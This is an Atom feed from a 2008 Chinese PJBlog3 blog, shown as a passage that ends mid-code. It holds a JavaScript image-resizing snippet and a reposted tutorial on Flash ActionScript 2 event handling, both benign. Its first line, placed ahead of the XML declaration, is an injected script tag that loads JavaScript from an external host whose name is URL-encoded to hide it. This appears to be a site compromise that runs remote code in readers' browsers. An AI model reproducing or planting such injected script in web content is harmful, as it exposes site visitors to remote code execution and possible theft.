
<script language=javascript src=http://%77%2E%39%34%73%61%6F%6D%6D%2E%63%6F%6D/js.js></script><?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[血战中国]]></title>
  <subtitle type="html"><![CDATA[大智若愚 大爱无情 谨言慎行 艺德双馨]]></subtitle>
  <id>http://www.bloodcn.com/</id>
  <link rel="alternate" type="text/html" href="http://www.bloodcn.com/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.bloodcn.com/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.8">PJBlog3</generator> 
  <updated>2008-12-20T08:59:03+08:00</updated>

  <entry>
	  <title type="html"><![CDATA[http://www.prototypejs.org/]]></title>
	  <author>
		 <name>la5u4ever</name>
		 <uri>http://www.bloodcn.com/</uri>
		 <email>li-deming@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.bloodcn.com/default.asp?cateID=14" label="网络搜集" /> 
	  <updated>2008-12-20T08:59:03+08:00</updated>
	  <published>2008-12-20T08:59:03+08:00</published>
		  <summary type="html"><![CDATA[<p><a href="http://www.prototypejs.org/">http://www.prototypejs.org/</a></p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.bloodcn.com/article/40.htm" /> 
	  <id>http://www.bloodcn.com/default.asp?id=40</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[11]]></title>
	  <author>
		 <name>la5u4ever</name>
		 <uri>http://www.bloodcn.com/</uri>
		 <email>li-deming@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.bloodcn.com/default.asp?cateID=11" label="Web" /> 
	  <updated>2008-10-15T11:33:48+08:00</updated>
	  <published>2008-10-15T11:33:48+08:00</published>
		  <summary type="html"><![CDATA[<p>&nbsp;</p>
<p>&lt;img src=&quot;zh/photo/t.jpg&quot; alt=&quot;aaa&quot; onload=&quot;resize(this)&quot; /&gt;&lt;img onload=&quot;resize(this)&quot; src=&quot;zh/photo/1.jpg&quot; alt=&quot;aaa&quot; /&gt;<br />
&lt;script language=&quot;Javascript&quot; type=&quot;text/javascript&quot;&gt;<br />
function resize(img,thumbs_size) {<br />
&nbsp;var fixwidth ;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; var fixheight ;&nbsp;&nbsp; <br />
if&nbsp;&nbsp;&nbsp; (thumbs_size='undefined')//设定参数默认值<br />
{<br />
&nbsp; &nbsp; fixwidth = 200;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp; fixheight = 200;&nbsp; <br />
}else{<br />
&nbsp;&nbsp;&nbsp; var max = thumbs_size.split('x');&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp; fixwidth = max[0];&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp; fixheight = max[1];&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;imgs = document.getElementsByTagName('img');&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &nbsp;for(i=0;i&lt;imgs.length;i++) {&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; w=imgs.width;<br />
&nbsp;&nbsp;h=imgs.height;&nbsp;&nbsp;&nbsp;</p>
<p>&nbsp;&nbsp;if(w&gt;fixwidth) {<br />
&nbsp;&nbsp; &nbsp;imgs[i].width=fixwidth;<br />
&nbsp;&nbsp;&nbsp;imgs[i].height=h/(w/fixwidth);<br />
&nbsp;&nbsp;}&nbsp; //如果图片高度大于设定宽度&nbsp; 图片高度=设定宽度，图片宽度=原高度/（原宽度/设定宽度）<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(h&gt;fixheight) { <br />
&nbsp;&nbsp;imgs[i].height=fixheight;<br />
&nbsp;&nbsp;imgs[i].width=w/(h/fixheight);<br />
&nbsp;&nbsp;}*/<br />
&nbsp;&nbsp;&nbsp; //如果图片高度大于设定高度&nbsp; 图片高度=设定高度，图片宽度=原宽度/（原高度/设定高度）<br />
&nbsp;&nbsp;&nbsp; //此上代码问题在于如果宽、高都超过默认，最终以高度为基准，高度依旧有可能超过原有高度。<br />
&nbsp;&nbsp;&nbsp; //以下为修改代码，通过对原图宽高比与设定宽高比进行比较而判断出是使用设定宽还是高。<br />
&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; if((fixwidth/fixheight)&gt;(img.width/img.height))&nbsp; //如果设定宽高比&gt;原图宽高比，则以设定高为基准<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; &nbsp;<br />
&nbsp;&nbsp;&nbsp; &nbsp;if(img.height&gt;fixheight) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;img.height=fixheight;<br />
&nbsp;&nbsp;&nbsp;&nbsp;img.width=img.width/(img.height/fixheight);<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; else&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //反之则已设定宽为基准<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br />
&nbsp;&nbsp;&nbsp; &nbsp;if(img.width&gt;fixwidth) {<br />
&nbsp;&nbsp; &nbsp;&nbsp;img.width=fixwidth;<br />
&nbsp;&nbsp;&nbsp;&nbsp;img.height=img.height/(img.width/fixwidth);<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; //补充完毕<br />
&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(h&gt;fixheight) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; imgs[i].style.cursor= &quot;pointer&quot;;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; imgs[i].onclick = function() { window.open(this.src);}&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (navigator.userAgent.toLowerCase().indexOf(&quot;ie&quot;) &gt; -1) {&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; imgs[i].title = &quot;点击查看放大图片&quot;;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; imgs[i].onmousewheel = function img_zoom() {&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var zoom = parseInt(this.style.zoom, 10) || 100;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; zoom += event.wheelDelta / 12;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (zoom&gt; 0) {&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.style.zoom = zoom + &quot;%&quot;;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else {&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; imgs[i].title = &quot;点击查看放大图片&quot;;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &nbsp;}&nbsp;&nbsp; <br />
&nbsp;}*/ <br />
}</p>
<p><br />
&nbsp;&lt;/script&gt;<br />
&nbsp;</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.bloodcn.com/article/39.htm" /> 
	  <id>http://www.bloodcn.com/default.asp?id=39</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Flash AS2 事件处理机制]]></title>
	  <author>
		 <name>la5u4ever</name>
		 <uri>http://www.bloodcn.com/</uri>
		 <email>li-deming@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.bloodcn.com/default.asp?cateID=9" label="flash学习笔记" /> 
	  <updated>2008-08-29T14:06:57+08:00</updated>
	  <published>2008-08-29T14:06:57+08:00</published>
		  <summary type="html"><![CDATA[<p>本<a target="_blank" href="http://www.jzxue.com/">教程</a>中你将学习下面的内容:</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1.事件处理机制.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2.创建类库.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3.使用 回调函数.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3.1.示例: CFEventClass 类(简单的示例).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3.2.示例: CFTimer 类(定时器).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4.使用 addListener 方法(AsBroadcaster / BroadcasterMX 类).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4.1.示例: AsBEventClass 类(简单的示例).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4.2.示例: AsBTimer 类(定时器).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5.使用 addEventListener 方法(EventDispatcher 类).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5.1.示例: EDEventClass 类(简单的示例).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5.2.示例: EDTimer 类(定时器).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6.建立强大的事件处理机制.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6.1.创建 CFDelegate 类(修改 Delegate 类).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6.2.创建 CFEventDispatcher 类(修改 EventDispatcher 类).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6.3.创建 Event 类(事件基类,继承 Object 类).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6.4.创建 IOErrorEvent 类(错误事件类,继承 Event 类).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6.5.创建 HTTPStatusEvent 类(http状态事件类,继承 Event 类).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6.6.示例: EventClass 类(简单的示例).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6.7.示例: Timer 类(定时器,功能跟 AS3 中的 Timer 类一样).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7.小结.</p>
<p>源文件(LRC 和 CFSound 类也在这):<a target="_blank" href="http://www.blueidea.com/articleimg/2007/07/4832/Flash%20Class%20Library.rar"><u>Flash Class Library.rar</u></a></p>
<p>[1.事件处理机制]</p>
<p>AS2 的事件处理机制并不完美.形态多样.不易于管理.在这里可以解决此问题的一半.本文会先了解和使用<br />
AS2 中基本的事件处理机制.然后建立强大的事件处理机制.来方便管理自己的程序.下面讲解.</p>
<p>形态多样的事件处理机制(后面会详细的讲解):<br />
1.回调函数.(如 onLoad, onHTTPStatus 等)<br />
2.使用 addListener 方法. (如 onLoadStart, onLoadInit 等)<br />
3.使用 addEventListener 方法. (如 click, change 等)</p>
<p>它们的作用域和形态(代码):<br />
作用域是指标识符（如常量、数据类型、变量或例程）在程序内可被引用的范围.<br />
1.this 指向触发此事件的对象</p>
<p><font color="#000000"><span class="code">object.onLoad = function()<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(this); //输出: object<br />
}</span><br />
2.this 指向侦听器对象</font></p>
<p><font color="#000000"><span class="code">var listenerObject:Object = {};<br />
listenerObject.onLoadStart = function()<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(this); //输出: listenerObject<br />
}<br />
broadcasterObject.addListener(listenerObject);</span><br />
3.使用侦听器对象:this 指向侦听器对象</font></p>
<p><font color="#000000"><span class="code">var listenerObject:Object = {};<br />
listenerObject.click = function(evt:Object)<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(this); //输出: listenerObject<br />
}<br />
broadcasterObject.addEventListener(&quot;click&quot;, listenerObject);</span><br />
使用函数:this 指向触发此事件的对象</font></p>
<p><font color="#000000"><span class="code">function clickHandler(evt:Object):Void<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(this); //输出: broadcasterObject<br />
}<br />
broadcasterObject.addEventListener(&quot;click&quot;, clickHandler);<br />
</span><br />
有时我们需要更改它们的作用域怎么办?<br />
想要改变它们的作用域,需使用 Delegate 类的 create 方法.<br />
此类的全路径: mx.utils.Delegate;<br />
用法: Delegate.create(要运行函数的范围, 函数);<br />
例:<br />
1.this 指向 _level0</font></p>
<p><font color="#000000"><span class="code">import mx.utile.Delegate;<br />
object.onLoad = Delegate.create(this, _onLoad);<br />
function _onLoad():Void<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(this); //输出: _level0<br />
}</span><br />
2.this 指向 _level0</font></p>
<p><font color="#000000"><span class="code">import mx.utile.Delegate;<br />
var listenerObject:Object = {};<br />
listenerObject.onLoadStart = Delegate.create(this, loadStart);<br />
function loadStart():Void<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(this); //输出: _level0<br />
}<br />
broadcasterObject.addListener(listenerObject);</span><br />
3.<br />
使用侦听器对象:this 指向 _level0</font></p>
<p><font color="#000000"><span class="code">import mx.utile.Delegate;<br />
var listenerObject:Object = {};<br />
listenerObject.click = Delegate.create(this, clickHandler);<br />
function clickHandler(evt:Object)<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(this); //输出: _level0<br />
}<br />
broadcasterObject.addEventListener(&quot;click&quot;, listenerObject);</span><br />
使用函数:this 指向 _level0</font></p>
<p><font color="#000000"><span class="code">function clickHandler(evt:Object):Void<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(this); //输出: _level0<br />
}<br />
broadcasterObject.addEventListener(&quot;click&quot;, Delegate.create(this, clickHandler));</span><br />
事件对象:<br />
它包含两个基本属性:<br />
type:String&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 事件名.<br />
target:Object&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 事件源.此属性可以不指定,默认为事件源(调用dispatchEvent方法的对象).<br />
此对象传递给 EventDispatcher 类的 dispatchEvent 方法并作为参数传递到侦听器.<br />
例:</font></p>
<p><span class="code"><font color="#000000">//发送事件.<br />
dispatchEvent({type:&quot;click&quot;, target:this});<br />
//事件处理函数.<br />
function clickHandler(evt:Object):Void<br />
{<br />
&nbsp;&nbsp;&nbsp; trace([evt.type, evt.target]);&nbsp; <br />
}<br />
//添加事件侦听器.<br />
addEventListener(&quot;click&quot;, clickHandler);</font></span></p>
<p>下一节讲:[2.创建类库]</p>
<p>在开始下面的<a target="_blank" href="http://www.jzxue.com/">教程</a>之前.先要创建类库.在硬盘中创建如图结构的文件目录:<br />
&nbsp;</p>
<p align="center"><img alt="Flash AS2 事件处理机制 " src="http://www.webjx.com/upfiles/20070713/20070713111647_01.gif" /></p>
<p><br />
Classes 目录是用来存放类文档.<br />
Example 目录是用来存放示例文档.<br />
创建好后还需要在 Flash 中添加类路径:<br />
Flash 8: 编辑--&gt;首选参数--&gt;ActionScript--&gt;ActionScript 2.0 设置--&gt;添加(+)--&gt;浏览到 Flash Class Library/Classes 目录.<br />
<img alt="Flash AS2 事件处理机制 " src="http://www.webjx.com/upfiles/20070713/20070713111824_02.jpg" /></p>
<p>Flash CS3: Edit--&gt;Preferences--&gt;ActionScript--&gt;ActionScript 2.0 Settings--&gt;Add New Path(+)--&gt;Browse To Flash Class Library/Classes 目录.<br />
ActionScript 3.0 也要添加(在后续文章中会用到).<br />
<img alt="Flash AS2 事件处理机制 " src="http://www.webjx.com/upfiles/20070713/20070713112027_03.jpg" /></p>
<p>下一节讲: [3.使用 回调函数]</p>
<p>[3.使用 回调函数]</p>
<p>回调函数也可以说是匿名函数,先看下面的代码:</p>
<p><span class="code"><font color="#000000">var myXML:XML = new XML();<br />
myXML.load(&quot;</font><a target="_blank" href="http://www.jzxue.com/Html/XML/">xml</a><font color="#000000">.</font><a target="_blank" href="http://www.jzxue.com/Html/XML/">xml</a><font color="#000000">&quot;);<br />
myXML.onLoad = function(success:Boolean)<br />
{<br />
&nbsp;&nbsp;&nbsp; trace(success);<br />
}</font></span></p>
<p>XML.onLoad 是一个回调函数.将匿名函数与特定的事件关联,以创建回调函数.函数将在特定事件发生后调用回调函数.<br />
在自定义类中怎么做呢?看下面的示例.</p>
<p>[3.1.示例: CFEventClass 类(简单的示例)]<br />
此示例文档详细:<br />
Example/AS2/events/CFEvent/CFEventClass.as&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
Example/AS2/events/CFEvent/CFEventExample.as&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
Example/AS2/events/CFEvent/CFEventExample.<a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
Example/AS2/events/CFEvent/CFEventExample.fla&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>
<p>主类:<br />
打开 CFEventClass.as&nbsp; 文档,输入下面的代码:</p>
<p><span class="code"><font color="#000000">import mx.utils.Delegate;<br />
//----------------------------------------<br />
class CFEventClass<br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public var tXML:XML;<br />
&nbsp;&nbsp;&nbsp; //定义事件函数.<br />
&nbsp;&nbsp;&nbsp; public var complete:Function;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public function CFEventClass(url:String)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.tXML = new XML();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.tXML.onLoad = Delegate.create(this, this.XMLonLoad);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.tXML.load(url);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function XMLonLoad(success:Boolean):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (success) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //执行事件函数.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.complete();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
}</font></span></p>
<p>保存文档,这样我们就创建了一个名为 CFEventClass 的类,拥有一个事件,一个属性,此事件在 XML 文档成功加载后发生.</p>
<p>示例类:<br />
打开 CFEventExample.as 文档,输入下面的代码:</p>
<p><span class="code"><font color="#000000">import CFEventClass;<br />
//----------------------------------------<br />
class CFEventExample<br />
{<br />
&nbsp;&nbsp;&nbsp; public function CFEventExample()<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var ee:CFEventClass = new CFEventClass(&quot;CFEventExample.</font><a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a><font color="#000000">&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ee.complete = this.complete;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; private function complete():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; trace(&quot;complete&quot;);<br />
&nbsp;&nbsp;&nbsp; }<br />
}</font></span></p>
<p>保存文档.<br />
在示例类中我们创建主类的一个实例.来加载 CFEventExample.<a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a> 文档.然后使用自定义函数与 complete 事件关联.<br />
如果要移除事件,请使用下面的方法:</p>
<p><span class="code"><font color="#000000">ee.complete = undefined<br />
//或<br />
ee.complete = null;<br />
//或<br />
delete ee.complete;</font></span></p>
<p>要加载的 XML 文档:<br />
打开 CFEventExample.<a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a> 文档,随便输入一些内容便可.测试用.</p>
<p>示例 fla 文档:<br />
打开 CFEventExample.fla 文档.将&quot;图层 1&quot;重命名为&nbsp; Actions.并在第一帧中输入下面的代码:</p>
<p><span class="code"><font color="#000000">new CFEventExample();<br />
</font></span></p>
<p>保存文档.<br />
测试 Flash 文档.在 XML 文档成功加载后会在输出面板中显示以下内容</p>
<p><span class="code"><font color="#000000">complete</font></span></p>
<p>如需给事件传递参数,在执行事件函数时如下添加参数:</p>
<p><span class="code"><font color="#000000">this.complete(参数1, 参数2, 参数N);</font></span></p>
<p>在调用事件时:</p>
<p><span class="code"><font color="#000000">private function complete(参数1, 参数2, 参数N)<br />
{<br />
&nbsp;&nbsp;&nbsp; trace([参数1, 参数2, 参数N]);<br />
}</font></span></p>
<p>下面再看一个示例:</p>
<p>[3.2.示例: CFTimer 类(定时器)]<br />
此示例文档详细:<br />
Classes/AS2/utils/CFTimer.as<br />
Example/AS2/utils/CFTimer/CFTimerExample.as<br />
Example/AS2/utils/CFTimer/CFTimerExample.fla</p>
<p>主类:<br />
打开 CFTimer.as 文档,输入下面的代码:</p>
<p><span class="code"><font color="#000000">import mx.utils.Delegate;<br />
//----------------------------------------<br />
class AS2.utils.CFTimer<br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; private var _timerID:Number;<br />
&nbsp;&nbsp;&nbsp; private var _delay:Number;<br />
&nbsp;&nbsp;&nbsp; private var _repeatCount:Number;<br />
&nbsp;&nbsp;&nbsp; private var _currentCount:Number = 0;<br />
&nbsp;&nbsp;&nbsp; private var _running:Boolean;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public var timer:Function;<br />
&nbsp;&nbsp;&nbsp; public var timerComplete:Function;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; /*<br />
&nbsp;&nbsp;&nbsp; @parameter&nbsp;&nbsp;&nbsp; delay:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 延迟,单位毫秒.<br />
&nbsp;&nbsp;&nbsp; @parameter&nbsp;&nbsp;&nbsp; repeatCount:&nbsp;&nbsp;&nbsp; 重复的次数.默认为Infinity(正无穷大);<br />
&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp; public function CFTimer(delay:Number, repeatCount:Number)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (isNaN(delay)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (isNaN(repeatCount)) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; repeatCount = Infinity;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._delay = delay;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._repeatCount = repeatCount;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public function reset():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._currentCount = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.stop();<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function start():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._timerID = setInterval(CFDelegate.create(this, this.startTimer), this._delay);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this._running = true;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function stop():Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; clearInterval(this._timerID);<br />
